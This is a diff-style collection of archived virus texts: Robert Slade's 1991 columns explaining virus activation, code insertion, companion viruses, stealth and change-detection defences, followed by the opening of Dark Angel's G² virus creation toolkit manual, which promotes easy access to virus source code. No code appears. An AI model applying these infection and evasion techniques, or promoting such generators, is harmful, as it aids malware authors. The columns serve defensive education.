programming. In order for the computer to behave "intuitively",
|
||||
it must be able to provide for the many "counter-intuitive" ways
|
||||
that people work. Therefore the most basic levels of a graphical
|
||||
user interface system tend to be more complex than the
|
||||
corresponding levels of a command line interface system, and are
|
||||
hidden from the user by additional intervening layers (which also
|
||||
tend to add more complexity.)
|
||||
|
||||
The additional layers in an operating system, and the fact that
|
||||
a great deal of management takes place automatically, without the
|
||||
user's awareness, is an ideal situation for a viral program.
|
||||
Since many legitimate and necessary operations and changes are
|
||||
performed without the user being aware of it, viral operations
|
||||
can also proceed at a level completely hidden from the user.
|
||||
Also, because the user is basically unaware of the structure and
|
||||
operations of the computer, changes to that structure and
|
||||
operation are difficult to detect.
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNGEN4.CVP 910819
|
||||
|
57
textfiles.com/virus/fungen5.cvp
Normal file
57
textfiles.com/virus/fungen5.cvp
Normal file
@@ -0,0 +1,57 @@
|
||||
FUNGEN5.CVP 910828
|
||||
|
||||
Viral activation
|
||||
|
||||
In attempting to protect against viral infection, and
|
||||
particularly when trying to disinfect systems, it is important to
|
||||
bear in mind the times that the virus is actively "infectious".
|
||||
The viral activation is not the same as the activation of the
|
||||
payload that a virus may carry. For example, the payload of the
|
||||
original "Stoned" virus was a message which appeared on the
|
||||
screen saying "Your PC is now Stoned!". This message only
|
||||
appears at boot time, and on only one eighth of the times the
|
||||
computer is rebooted. The virus, however, is infectious at all
|
||||
times, if it has infected the hard disk.
|
||||
|
||||
There are basically three possibilities for the infectious
|
||||
period: now ("one-shot"), during program run ("while called") or
|
||||
from now on (resident). These periods may be modified by other
|
||||
circumstances. A resident virus may remain in memory, but only
|
||||
be actively infecting when a disk is accessed. A "while called"
|
||||
virus may only infect a new program when a directory is changed.
|
||||
|
||||
"One-shot" viri only get one chance on each "run" of the infected
|
||||
program. The viral code will seek out and infect a target
|
||||
program. They then pass control to the original program, and
|
||||
perform no further functions. These are, of course, the simplest
|
||||
of the viral programs. Mainframe "mail" viri are generally of
|
||||
this type.
|
||||
|
||||
The second class will activate when the infected program is
|
||||
called, and then pass partial control to the original program.
|
||||
The virus, however, will remain operational during the time that
|
||||
the infected program is running. If this can be accomplished, it
|
||||
is only a slight jump to write a fully memory resident virus.
|
||||
|
||||
Resident viri are the most successful, and the most dangerous, of
|
||||
viral programs. A resident virus will become active when an
|
||||
infected program is run (or at boot time for boot sector
|
||||
infectors), and remain active until the computer is rebooted or
|
||||
turned off. (Some viral programs are even able to trap the
|
||||
rebooting sequence that is normally called when you press Ctrl-
|
||||
Alt-Del on an MS-DOS PC, and thus are able to survive a "warm
|
||||
boot.") The most successful of the file infectors, the Jerusalem
|
||||
virus, is resident, as are all boot sector infectors. (For
|
||||
fairly obvious reasons; the boot sector is never "called" in
|
||||
normal operation.)
|
||||
|
||||
If a virus is active in memory, it is a waste of time trying to
|
||||
disinfect a file or disk. No sooner is the file "cleaned", than
|
||||
it becomes a suitable target for re-infection. You may try to
|
||||
disinfect a hard disk right down to performing a low level
|
||||
format: as soon as the disk is reformatted it may be infected all
|
||||
over again. This is why all directions for disinfection stress
|
||||
the necessity of "cold" booting from a disk that is known to be
|
||||
free of infection before attempting any cleanup.
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNGEN5.CVP 910828
|
57
textfiles.com/virus/fungen6.cvp
Normal file
57
textfiles.com/virus/fungen6.cvp
Normal file
@@ -0,0 +1,57 @@
|
||||
FUNGEN6.CVP 911101
|
||||
|
||||
Change detection
|
||||
|
||||
A virus has to change *something*.
|
||||
|
||||
This fact is absolutely fundamental to the operation of computer
|
||||
viral programs, and therefore, in a sense, provides a guaranteed
|
||||
form of virus prevention or detection. If we make a machine
|
||||
that cannot change anything (and the disadvantages of this have
|
||||
been thoroughly discussed) we can prevent infection. If any
|
||||
change made can be detected, then any infection can be detected,
|
||||
although discriminating between an infection and a valid change
|
||||
remains problematic.
|
||||
|
||||
It is interesting to note that the early antiviral programs, at
|
||||
least the most widely used ones, relied first upon activity
|
||||
monitoring and then signature scanning. Nowadays almost all
|
||||
antiviral programs implement some version of automated change
|
||||
detection. The detection of the first viri, and the ongoing
|
||||
research into new strains, relies almost entirely on "manual"
|
||||
methods of change detection.
|
||||
|
||||
This method of detection is available to anyone who has a
|
||||
computer and the most basic tools of the operating system. It
|
||||
is, of course, made somewhat easier with the more advanced
|
||||
"utility" programs available on the market, but the best defence
|
||||
remains a thorough knowledge of your computer, and what it is
|
||||
supposed to be doing.
|
||||
|
||||
A knowledge of what programs are on the computer, and a list of
|
||||
file sizes and creation dates is a simple piece of protection
|
||||
requiring no special programs whatsoever. This one simple tool,
|
||||
however, can provide detection of most file infecting viri. It
|
||||
will even detect "stealth" viri if the computer is booted from a
|
||||
clean system disk before the check is made.
|
||||
|
||||
DEBUG is provided with every copy of MS-DOS, and can be used to
|
||||
view, and make a copy of, the boot record of every disk.
|
||||
(Partition boot records of hard disks are beyond the reach of
|
||||
DEBUG, but within the reach of F-PBR, from 1.xx versions of
|
||||
FPROT.)
|
||||
|
||||
Memory maps (and hex dumps of boot sectors) are not easy to
|
||||
read, even for experienced, but non-programming, users.
|
||||
However, it is not necessary that the user understand all the
|
||||
entries in a boot sector or memory map. It is only necessary
|
||||
that the user have a printout of a run of, say, MEM/C in an
|
||||
initially clean state, and then be able to spot a difference in
|
||||
a subsequent run of the program.
|
||||
|
||||
In reality, of course, most users will not take the time and
|
||||
trouble to check for changes in the system. Most users want a
|
||||
program which will do it for them, and preferably one which will
|
||||
do the checking automatically, and alert them to anything wrong.
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNGEN6.CVP 911101
|
56
textfiles.com/virus/fungen7.cvp
Normal file
56
textfiles.com/virus/fungen7.cvp
Normal file
@@ -0,0 +1,56 @@
|
||||
FUNGEN7.CVP 911113
|
||||
|
||||
File checking
|
||||
|
||||
Most file infecting viral programs can be checked for quite
|
||||
simply, and without any special programs or equipment.
|
||||
Provided, that is, that the computer user will pay the most
|
||||
minimal attention to the system, and take the most basic
|
||||
precautions.
|
||||
|
||||
The simplest form of antivirus detection "equipment" is a list
|
||||
of all the programs to be run on the computer, with the size and
|
||||
"last changed date" for each. (The list for "resource" based
|
||||
systems such as the Macintosh will, of necessity, be somewhat
|
||||
larger, and must include all "code" resources on the disk.)
|
||||
With some few (albeit important) exceptions, programs should
|
||||
never change their size or file date. Any changes that are
|
||||
made, should be at the request of the user, and thus easy enough
|
||||
to spot as exceptions.
|
||||
|
||||
While "stealth" technology of various types has been applied to
|
||||
viral programs, the most common (and successful) viri, to the
|
||||
date of this writing, have not used it. Most change the size of
|
||||
the file, and generally do it in such a standardized fashion
|
||||
that the "infective length" of the virus is often used as an
|
||||
identification of the specific viral program. The file date is
|
||||
changed less often, but is sometimes deliberately "used" by the
|
||||
virus as an indicator to prevent reinfection. (One used the
|
||||
value of "31" in the seconds field, which is presumably why the
|
||||
later 1.xx versions of F-PROT all had dates ending in 31.
|
||||
Another used the "impossible" value of 62.)
|
||||
|
||||
Even when stealth techniques are used, they generally require
|
||||
that the virus itself be running for the measures to be
|
||||
effective. We thus come to the second piece of antiviral
|
||||
equipment; the often cited "known clean boot disk". This is a
|
||||
bootable system (floppy) disk, created under "sterile"
|
||||
conditions and known to be free of any viral program infection,
|
||||
and write protected so as to be free from possible future
|
||||
contamination. When the computer is "booted" from this disk,
|
||||
the hard disk boot sector and system areas can be bypassed so as
|
||||
to prevent "stealth" programs from passing "false data" about
|
||||
the state of the system.
|
||||
|
||||
Viral protection can thus start with these simple, and
|
||||
non-technical provisions. Starting with a known-clean system,
|
||||
the list can be checked regularly for any discrepancies. The
|
||||
"clean disk" can be used to "cold boot" the system before these
|
||||
checks for added security. Checks should be performed before
|
||||
and after any changes made to software, such as upgrades or new
|
||||
programs.
|
||||
|
||||
Security does not, of course, end here. This is only a very
|
||||
simple first line of defence.
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNGEN7.CVP 911113
|
58
textfiles.com/virus/fungen8.cvp
Normal file
58
textfiles.com/virus/fungen8.cvp
Normal file
@@ -0,0 +1,58 @@
|
||||
FUNGEN8.CVP 911115
|
||||
|
||||
File checking - part 2
|
||||
|
||||
Historically, it is interesting to note that, initially,
|
||||
operation monitoring and restricting software was the preferred
|
||||
means of antiviral protection. Subsequently signature scanning
|
||||
software became more prevalent, and currently holds dominance in
|
||||
terms of number of programs in use. Change detection software,
|
||||
however, has recently become very popular and, from my reviews
|
||||
of software, at least, now leads in terms of number of different
|
||||
programs implementing the technique.
|
||||
|
||||
The most basic type of change detection program could simply
|
||||
automate the process of manual file checking outlined in the
|
||||
previous column. However, this would not catch "overwriting"
|
||||
viri, as long as they did not change the file date. Therefore,
|
||||
most change detection software performs some type of "image
|
||||
checking" as well.
|
||||
|
||||
"Image", "numerical" or "statistical" file checking is based on
|
||||
calculations performed on the data making up the file. At its
|
||||
most rudimentary, this is based on the "checksum". As the name
|
||||
suggests, this is nothing more than a check of the "summing" of
|
||||
all data in the file, or sometimes the modulus of that sum.
|
||||
More complex is the CRC or "cyclic redundancy check", which
|
||||
performs more complex calculations on matrices of the data.
|
||||
(This is done in a fashion similar to the Hamming encoding used
|
||||
for error detection and correction.)
|
||||
|
||||
It would be fairly simple for an overwriting virus to calculate
|
||||
the checksum for a given file, and then to modify the code of
|
||||
the infected file in such a way that the checksum would still
|
||||
match. This is the reason for some of the more complex
|
||||
calculations which are implemented.
|
||||
|
||||
While the initial checking of files is fairly standard, there
|
||||
are a wide variety of implementations for the subsequent
|
||||
checking of files. The original information must, of course, be
|
||||
stored somewhere. Some programs create a single file for this,
|
||||
others attach the information to the program to be protected.
|
||||
Each means has advantages and disadvantages. A single file
|
||||
means a single entity which virus authors may find out about and
|
||||
"target". Attaching of data to programs which may be altered
|
||||
means that the calculated codes may be altered or erased as
|
||||
well. Sometimes small modules of code are attached to the
|
||||
programs in order to allow the programs to check themselves.
|
||||
Unfortunately, adding such modules to programs which already
|
||||
check themselves for changes may prevent the programs from
|
||||
running. (Norton AntiVirus stores the information in a number
|
||||
of hidden, 77 byte files, with names similar to that of the
|
||||
protected file. This caused a number of users to suspect that
|
||||
the results of Norton's protection were actually the results of
|
||||
a virus. One fairly unique ploy is used by "Victor Charlie",
|
||||
which, in its earliest incarnation, simply offered itself as
|
||||
"bait" to viral programs -- and then checked itself.)
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNGEN8.CVP 911115
|
52
textfiles.com/virus/fungen9.cvp
Normal file
52
textfiles.com/virus/fungen9.cvp
Normal file
@@ -0,0 +1,52 @@
|
||||
FUNGEN9.CVP 911127
|
||||
|
||||
System checking
|
||||
|
||||
The measures described in the previous two columns will detect
|
||||
file infecting viral programs (within limits.) However, a very
|
||||
large class, or perhaps a number of sub-classes, of viral
|
||||
programs do not make any changes to program files on the disk.
|
||||
|
||||
Boot sector infectors replace or move the "boot program"
|
||||
resident on almost every disk. Although these viri are
|
||||
extremely common, surprisingly few "change detectors" bother to
|
||||
make any check of this area at all. One reason may be that a
|
||||
number of computers make regular changes to the boot sector for
|
||||
various purposes.
|
||||
|
||||
"Companion" viri, while they are associated with certain
|
||||
programs, do not make any changes to existing program files at
|
||||
all. Similar claims can be made for "system" viri, such as the
|
||||
DIR-II virus, which leaves the file intact, but changes the
|
||||
directory entry in order that the virus, which "officially" does
|
||||
not exist on the disk, gets called first.
|
||||
|
||||
It is, therefore, necessary to check much more than the size and
|
||||
image of the individual program files on the disk in order to
|
||||
detect viral infections. The boot sector (and master/partition
|
||||
boot record) should be checked, although it is possible that a
|
||||
certain area should be excluded from checking in the case of
|
||||
certain computers. A check on the total number of programs, and
|
||||
names, should also be kept separate from the system directory.
|
||||
A copy of the directory and file allocation table should also be
|
||||
kept, especially in regard to program files.
|
||||
|
||||
System memory, and the allocation of system interrupts, should
|
||||
also be checked. This is problematic during normal operations,
|
||||
as programs tend to use, and sometimes not fully release, areas
|
||||
of memory and interrupts as they work. Therefore, the best time
|
||||
to do such checking is at boot time, even before drivers and
|
||||
programs have loaded from the startup files. (DISKSECURE does
|
||||
this to great effect. So did F-PROT's F-DRIVER.SYS -- which led
|
||||
to unfortunate conflicts with MS-DOS 5.0. The security
|
||||
programmer's lot is not an easy one, with virus writers,
|
||||
legitimate programs and even operating systems continually
|
||||
finding new and "interesting" ways to do things.) It is also
|
||||
possible, however, and quite desirable, to take a "snapshot" of
|
||||
memory immediately after the startup sequence. This should be
|
||||
able to detect any changes made to programs involved in the boot
|
||||
sequence, as well as other changes. (It may also "catch"
|
||||
program traps which "redirect" a "warm" boot in order to avoid
|
||||
disk security devices.)
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNGEN9.CVP 911127
|
56
textfiles.com/virus/fungena.cvp
Normal file
56
textfiles.com/virus/fungena.cvp
Normal file
@@ -0,0 +1,56 @@
|
||||
FUNGENA.CVP 911202
|
||||
|
||||
Detection avoidance
|
||||
|
||||
Viral programs have almost no defence at all against
|
||||
disinfection. 99% of viri are almost trivially simple to get
|
||||
rid of, simply by replacing the "infected" file (or boot sector)
|
||||
with an original copy. (Some more recent boot sector and system
|
||||
viri require slightly more knowledge in order to perform
|
||||
effective disinfection: none require drastic measures.) Far
|
||||
from their image as the predators of the computer world, viral
|
||||
programs behave much more like prey. Their survival is
|
||||
dependant upon two primary factors: reproductive ability and
|
||||
avoidance of detection.
|
||||
|
||||
Using the standard system calls to modify a file leaves very
|
||||
definite traces. The change in a file "creation" or "last
|
||||
modified" date is probably more noticeable than a growth in file
|
||||
size. File size is rather meaningless, whereas dates and times
|
||||
do have significance for users. Changing the date back to its
|
||||
original value, however, is not a significant programming
|
||||
challenge.
|
||||
|
||||
Adding code while avoiding a change in file size is more
|
||||
difficult, but not impossible. Overwriting existing code and
|
||||
adding code to "unused" portions of the file or disk are some
|
||||
possible means. (The fictional rogue program P1, in Thomas
|
||||
Ryan's "The Adolesence of P1", avoided problems of detection by
|
||||
analyzing and rewriting existing code in such a manner that the
|
||||
programs were more compact and ran more efficiently. Such
|
||||
activity has not yet, alas, been discovered in any existing
|
||||
virus.)
|
||||
|
||||
Some viral programs, or rather, virus authors, rely on
|
||||
psychological factors. There are a number of examples of viri
|
||||
which will not infect program files under a certain minimum
|
||||
size, knowing that an additional 2K is much more noticeable on a
|
||||
5K utility than on a 300K spreadsheet.
|
||||
|
||||
In a sense these are all "stealth" technologies, but this term
|
||||
is most often used for programs which attempt to avoid detection
|
||||
by trapping calls to read the disk and "lying" to the
|
||||
interrogating program. By so doing, they avoid any kind of
|
||||
detection which relies upon perusal of the disk. The disk gives
|
||||
back only that information regarding file dates, sizes and
|
||||
makeup which were appropriate to the original situation. (This
|
||||
also relies upon the virus being "active" at the time of
|
||||
checking.) Although this method avoids any kind of "disk"
|
||||
detection, including checksumming and signature scanning, it
|
||||
leaves traces in the computer's memory which can be detected.
|
||||
(Some viral programs also try to "cover their tracks" by
|
||||
watching for any analysis of the area they occupy in memory and
|
||||
crashing the system, but this tends to be noticeable behaviour
|
||||
... )
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNGENA.CVP 911202
|
47
textfiles.com/virus/funpiv1.cvp
Normal file
47
textfiles.com/virus/funpiv1.cvp
Normal file
@@ -0,0 +1,47 @@
|
||||
FUNPIV1.CVP 911006
|
||||
|
||||
File infecting viri
|
||||
|
||||
File, or program, infecting viral programs, while possibly not as
|
||||
numerous as boot sector infectors in terms of actual infections,
|
||||
represent the greatest number of known viral strains, at least in
|
||||
the MS-DOS world. This may be due to the fact that file infectors
|
||||
are not as constrained in size as BSIs, or that file infectors do
|
||||
not require the detailed knowledge of system "internals" which may
|
||||
be necessary for effective boot sector viri.
|
||||
|
||||
File infecting viri spread by adding code to existing executable
|
||||
files. They have the potential to become active when an infected
|
||||
program is run. Whereas boot sector infectors must be memory
|
||||
resident in order to spread, file infecting programs have more
|
||||
options in terms of infection. This means that there is greater
|
||||
range in the scope for writing file infecting viri, but it also
|
||||
means that there may be fewer opportunities for a given virus to
|
||||
reproduce itself.
|
||||
|
||||
File infecting viral programs must, of necessity, make some kind of
|
||||
change in the target file. If normal DOS calls are used to write
|
||||
to it the file creation date will be changed. If code is added to
|
||||
it, the file size will change. Even if areas of the file are
|
||||
overwritten in such a way that the file length remains unchanged,
|
||||
a parity, checksum, cyclic redundancy or Hamming code check should
|
||||
be able to detect the fact that there has been some change. The
|
||||
Lehigh and Jerusalem viri, the first to become widely known to the
|
||||
research community on the Internet, were both initially identified
|
||||
by changes they made to target files (the Jerusalem being widely
|
||||
known by its length as "1813".) "Change detection", therefore,
|
||||
remains one of the most popular means of virus detection on the
|
||||
part of antiviral software producers.
|
||||
|
||||
Because change detection is a means of virus detection that
|
||||
requires no sophisticated programming (in some cases, no
|
||||
programming at all), virus writers have attempted to camouflage
|
||||
changes where they can. It is not a difficult task to avoid making
|
||||
changes to the file creation date, or to return the date to its
|
||||
original value. It is possible to "overlay" the original code of
|
||||
the program, so that the file is not increased in size. Most
|
||||
recently, virus authors have been using "stealth" programming: a
|
||||
means of "shortcutting" the operating system, and returning only
|
||||
the original, unchanged, values at any request for information.
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNPIV1.CVP 911006
|
48
textfiles.com/virus/funpiv2.cvp
Normal file
48
textfiles.com/virus/funpiv2.cvp
Normal file
@@ -0,0 +1,48 @@
|
||||
FUNPIV2.CVP 911006
|
||||
|
||||
Viral code insertion
|
||||
|
||||
There are four ways to attach code to an existing program:
|
||||
overwrite existing program code, add code to the beginning of the
|
||||
program, add code to the end of the program and not add code to the
|
||||
existing program.
|
||||
|
||||
Overwriting viral programs are a very simplistic answer to the
|
||||
problem of how to add code to an existing program without changing
|
||||
the file size. By simply overlaying code which is already on the
|
||||
disk, the original size remains unchanged. There are a few
|
||||
problems with this approach.
|
||||
|
||||
The first is the problem of how to get the virus "called" when the
|
||||
infected program is run. If the code is just inserted anywhere, it
|
||||
may not be in a part of the program that gets used every time the
|
||||
program is run. (Every programmer is aware of the Pareto
|
||||
Principle's application here: 20 percent of the code does 80
|
||||
percent of the work. Some code never gets called at all.) It is
|
||||
possible, by an analysis of the code of the target program, to find
|
||||
an "entry point" which is used extensively. It is also possible,
|
||||
and a lot easier, to place a jump at the beginning of the program
|
||||
which points to the viral code.
|
||||
|
||||
The second problem is much more difficult to deal with. If the
|
||||
virus code overwrites existing portions of the program code, how do
|
||||
you know the loss of that program code is not fatal to the target
|
||||
program? Analysis of this type, on the original code, would be
|
||||
very difficult indeed. "Successful" overwriting viri tend to be
|
||||
short, and to look for extensive strings of NUL characters to
|
||||
replace. (The NUL characters tend to be used to "reserve" stack
|
||||
space, and thus are not vital to the program.) Even if the
|
||||
original code is not vital to the program, it may, if replaced,
|
||||
cause the program to exhibit strange behaviours, and thus lead to
|
||||
detection of the viral infection.
|
||||
|
||||
Thus, while overwriting viri solve the problem of file size, they
|
||||
bring with them some inherent problems which appear, at this time,
|
||||
to severely limit their effectiveness "in the wild". To this date,
|
||||
while many overwriting viri have been written, none have enjoyed
|
||||
great "success", or become a widespread and major problem.
|
||||
|
||||
(The Zen-like nature of the opening paragraph will be explained in
|
||||
future columns.)
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNPIV2.CVP 911006
|
51
textfiles.com/virus/funpiv3.cvp
Normal file
51
textfiles.com/virus/funpiv3.cvp
Normal file
@@ -0,0 +1,51 @@
|
||||
FUNPIV3.CVP 911013
|
||||
|
||||
Viral code addition
|
||||
|
||||
In order to avoid damage to the original program, which might
|
||||
lead to detection of the infection, the viral code can be added
|
||||
to the beginning or end of the program. (Or not attached at
|
||||
all.)
|
||||
|
||||
Adding code at the beginning of the original program ensures
|
||||
that the viral code is run whenever the program is run. (This
|
||||
also ensures that the virus is run before the program runs. The
|
||||
virus thus has priority in terms of operation, possible
|
||||
conflicts and detection.) With the addition of code to the
|
||||
beginning of the program, it is possible to avoid any change to
|
||||
the original code. It *is* necessary to alter the file/disk
|
||||
allocation table, at least, in order to ensure that the program
|
||||
"call" starts with the viral code, and that the viral code is
|
||||
not overwritten by other changes to the disk or files. While
|
||||
the original code may be left unchanged, the file will be,
|
||||
essentially, altered, and, unless techniques are used to
|
||||
disguise this, will show a different creation date, size and
|
||||
image.
|
||||
|
||||
It is also, however, possible to add viral code to the end of
|
||||
the original program, and still ensure that the viral code is
|
||||
run before that of the original program. All that is necessary
|
||||
is to alter the file header information to reflect the fact that
|
||||
you want to start executing the file towards the end, rather
|
||||
than at the normal location. At the end of the viral code
|
||||
another jump returns operation to the original program.
|
||||
|
||||
(This kind of operation is not as odd as it may sound. It is
|
||||
not even uncommon. A legacy from the days of mainframe "paging"
|
||||
of memory, it is used in a great many MS-DOS executables, either
|
||||
in single .EXE files or in overlays. It is, therefore, not a
|
||||
coding indication that can be used to identify viral type
|
||||
programs or infected files.)
|
||||
|
||||
Appending, or prepending, viral code to an existing program
|
||||
therefore avoids the problems of damage and potential failure to
|
||||
run which plague overwriting viral programs. Even these viral
|
||||
programs, however, are not foolproof. Programs which load in
|
||||
very non-standard ways, such as KEA's "Zstem" terminal emulation
|
||||
program, use the header information which the viral programs
|
||||
alter. Although not originally designed for virus detection,
|
||||
the "Program abort - invalid file header" message thus generated
|
||||
is an indication of viral infection. Sometimes the first
|
||||
indication that users have.
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNPIV3.CVP 911014
|
57
textfiles.com/virus/funpiv4.cvp
Normal file
57
textfiles.com/virus/funpiv4.cvp
Normal file
@@ -0,0 +1,57 @@
|
||||
FUNPIV4.CVP 911020
|
||||
|
||||
Viral code "association"
|
||||
|
||||
The simplest way for a viral program to avoid the detection that
|
||||
results from modifying the code of an existing program is not to
|
||||
modify the original program. This is an elementary solution,
|
||||
but would seem to have the drawback that, unless you do change
|
||||
the file in some way, the virus will never be called.
|
||||
|
||||
There is a "solution" to this problem, and (if I may be allowed
|
||||
some enthusiasm for the concept, if not the reprehensible act) a
|
||||
rather elegant one at that.
|
||||
|
||||
In a given situation, computers may be presented with a number
|
||||
of possible courses of action. The action taken first is
|
||||
decided by pre-programmed precedence. A number of programs may
|
||||
have very similar names, leading to potential confusion about
|
||||
which one is to be run in a given invocation. In the case of
|
||||
MS-DOS, for example, SET.COM, SET.EXE and SET.BAT are all
|
||||
"executable" files. In the normal course of events, any one
|
||||
could be invoked by giving the command "SET". If all three
|
||||
files exist, which one is to be run?
|
||||
|
||||
The precedence of program invocation under MS-DOS is that .COM
|
||||
files are first, .EXE second and .BAT last. If three files of
|
||||
the same name do exist, this does not imply that all three will
|
||||
be run in that sequence, but rather that giving the command
|
||||
"SET" will always invoke only the SET.COM file.
|
||||
|
||||
A certain class of viral programs; known variously as
|
||||
"companion", "spawning" or "precedence" viri; use this feature
|
||||
of the operating system. They "infect" a file with an .EXE
|
||||
extension simply by creating another file with the same name,
|
||||
but a .COM extension. Thus the .COM file is always executed in
|
||||
place of the original .EXE file. The original file remains
|
||||
unchanged, and no manner of "change detection" will tell you any
|
||||
different. (In order to further avoid detection the viral file
|
||||
will generally end with a very specific "call" to the original
|
||||
program, and the viral program has the "hidden" attribute set.
|
||||
In the Macintosh and other GUI operating systems, it is possible
|
||||
for a virus to take precendence by "overlaying" an existing icon
|
||||
with another which is either transparent or identical to the
|
||||
first.)
|
||||
|
||||
Fortunately, companion viri are by no means perfect. For one
|
||||
thing, they are limited to those programs which are "lower" in
|
||||
the order of precedence. For another, the "hidden" attribute is
|
||||
relatively easy to overcome (particularly in MS-DOS), and an
|
||||
alphabetical listing of files will quickly turn up the anomaly
|
||||
of identical names. Of the antiviral packages tested so far, no
|
||||
change detector alerts to duplicate names, although many may
|
||||
alert the user by asking the user to "validate" a file that has
|
||||
been in use for some time. It will probably not be long,
|
||||
however, before this is a common feature.
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNPIV4.CVP 911020
|
56
textfiles.com/virus/funpiv5.cvp
Normal file
56
textfiles.com/virus/funpiv5.cvp
Normal file
@@ -0,0 +1,56 @@
|
||||
FUNPIV5.CVP 911030
|
||||
|
||||
Infection variations
|
||||
|
||||
This months columns have dealt with a number of possible ways
|
||||
that computer viral programs may infect program files.
|
||||
Unfortunately the overwriters, prependers, appenders and
|
||||
companions mentioned do not exhaust the possibilities.
|
||||
|
||||
(By the way, this week's column is basically courtesy of
|
||||
Vesselin Bontchev, who did all the research.)
|
||||
|
||||
In discussing overwriting viri I mentioned, by concept although
|
||||
not by name, the Zerohunt virus, which looks for a string of nul
|
||||
characters of sufficient length to accommodate it. However,
|
||||
there is also the Nina virus, which overwrites the beginning of
|
||||
a file, and the Phoenix family, which overwrites a random
|
||||
section of a file, both of which append the overwritten part to
|
||||
the end. The Number of the Beast/512 virus and 1963 both
|
||||
overwrite the beginning of the file and then move the contents
|
||||
of the overwritten section beyond the *physical* end of the file
|
||||
into a portion of the last cluster the file occupies. Because
|
||||
the clusters are always of a fixed size, and because it is very
|
||||
unusual for a file to exactly match a "multiple of cluster"
|
||||
size, there is generally some space there which is, essentially,
|
||||
invisible to the operating system.
|
||||
|
||||
In the world of prependers, a similar consideration is used by
|
||||
the Rat virus. EXE file headers are always a multiple of 512
|
||||
bytes, so there is often an unused block of space in the header
|
||||
itself, which the Rat assumes. The Suriv 2.01 works a bit
|
||||
harder: it moves the body of the file and inserts itself between
|
||||
the header and original file, and then changes the relocation
|
||||
information in the header.
|
||||
|
||||
Then there is the DIR II. The viral code is written to one
|
||||
section of the disk ... and then the directory and file
|
||||
allocation information is altered in such a way that all
|
||||
programs seem to start in that one section of the disk. Because
|
||||
of the convoluted way this virus works, it is possible to "lose"
|
||||
all the programs on the disk by attempting to "repair" them.
|
||||
|
||||
At this point in my seminar, there is an overhead foil marked
|
||||
"This page intentionally left blank." The point being that
|
||||
there are all kinds of subtle variations on the themes covered
|
||||
here ... and quite a few not so subtle means which will only
|
||||
become obvious after they have been used. However, it is
|
||||
important to note that the most "successful" viri in terms of
|
||||
numbers of infections are not necessarily the "new models", but
|
||||
the older and often less sophisticated versions. On the one
|
||||
hand, this indicates that novelty is not a "viral survival
|
||||
factor." On the other hand, it points out, in rather depressing
|
||||
manner, that most computer users are still not using even the
|
||||
most basic forms of antiviral protection.
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNPIV5.CVP 911030
|
564
textfiles.com/virus/g2.txt
Normal file
564
textfiles.com/virus/g2.txt
Normal file
@@ -0,0 +1,564 @@
|
||||
|
||||
|
||||
|
||||
|
||||
Phalcon/Skism's G<> 0.70<EFBFBD>
|
||||
The Second Generation in Virus Creation
|
||||
Written by Dark Angel
|
||||
January 1, 1993
|
||||
|
||||
"Where do we think up these cheesy names?"
|
||||
-Dark Angel
|
||||
|
||||
TABLE OF CONTENTS
|
||||
TITLE PAGE i
|
||||
TABLE OF CONTENTS i
|
||||
DISCLAIMER i
|
||||
PURPOSE ii
|
||||
FEATURES ii
|
||||
RESTRICTIONS iii
|
||||
RUNNING G<> (HOW DO I GET THE DAMN THING TO WORK?) 1
|
||||
G<> HAS THE POWER 1
|
||||
STILL NO IDE 1
|
||||
MODIFICATION OF GENERATED FILES 2
|
||||
UPGRADES 2
|
||||
ADDITIONAL G<> FILES 3
|
||||
PROBLEMS AND FUTURE IMPROVEMENTS 3
|
||||
CONCLUSION 4
|
||||
HISTORY OF VIRUS TOOLKITS A
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
DISCLAIMER
|
||||
|
||||
G<> is hereby released into the Public Domain, and may not be sold or
|
||||
marketed in any form without the permission and written consent from the
|
||||
author. The author retains all copyrights to this program, in either the
|
||||
original or modified forms, and no violation, deletion, or change of either
|
||||
the copyright notice or this disclaimer is allowed.
|
||||
|
||||
G<> and the source code generated by said program are not to be used in
|
||||
any malicious or otherwise irresponsible manner. The author is not
|
||||
responsible for any damages, incidental or otherwise, resulting from
|
||||
running either the core program or any programs generated by it. The
|
||||
program itself is not designed to be damaging and responsibility for proper
|
||||
usage and containment of any code created by the program (either modified
|
||||
or unmodified) is entirely placed on the user of G<>. All source code and
|
||||
executable files generated either entirely or partially with G<> may not be
|
||||
distributed without the recipient's full knowledge of the contents.
|
||||
Malicious use of this code is malicious.
|
||||
|
||||
G<> is guaranteed to exist for five years or 50,000 miles, whichever
|
||||
comes first.
|
||||
|
||||
|
||||
|
||||
i
|
||||
|
||||
PURPOSE
|
||||
|
||||
G<> is NOT a modification of the Phalcon/Skism Mass-Produced Code
|
||||
generator; it is a complete rewrite and functions in a radically different
|
||||
manner. There will be no further releases of the PS-MPC, as the project
|
||||
represented the amoeba-stage of virus creation.
|
||||
|
||||
G<>, Phalcon/Skism's newest virus creation tool, is designed to allow
|
||||
everyone easy access to computer virus source code. More than a simple
|
||||
Vienna hack generator, it creates viruses "on-the-fly" as per the user
|
||||
specifications. G<> is designed to be easily maintainable and extensible
|
||||
through the use of special data files created especially for use by the
|
||||
program.
|
||||
|
||||
G<> arrives after the Virus Construction Lab and the Phalcon/Skism
|
||||
Mass-Produced Code generator. These two excellent code generators have
|
||||
several shortcomings inherent in their design. First, they only create one
|
||||
specific virus given a specific configuration. Their design allows for no
|
||||
variability in code generation. Second, upgrading the generated code means
|
||||
getting a new COM or EXE file. With the overhead of the IDE code in VCL,
|
||||
this means redownloading over 100K each release, most of which is
|
||||
redundant. Although the PS-MPC is much smaller and certainly better
|
||||
written, it still suffers from the same lack of simple upgrades. The
|
||||
problem arises because the data needed by the programs for code generation
|
||||
are hard coded, and not in easily updated external files.
|
||||
|
||||
G<>, of course, has none of the problems associated with earlier virus
|
||||
generators. Designed with configurability, variability, and upgradability
|
||||
in mind, G<> represents the current apex of virus generation.
|
||||
|
||||
FEATURES
|
||||
|
||||
The target audience of G<> includes both novice and advanced
|
||||
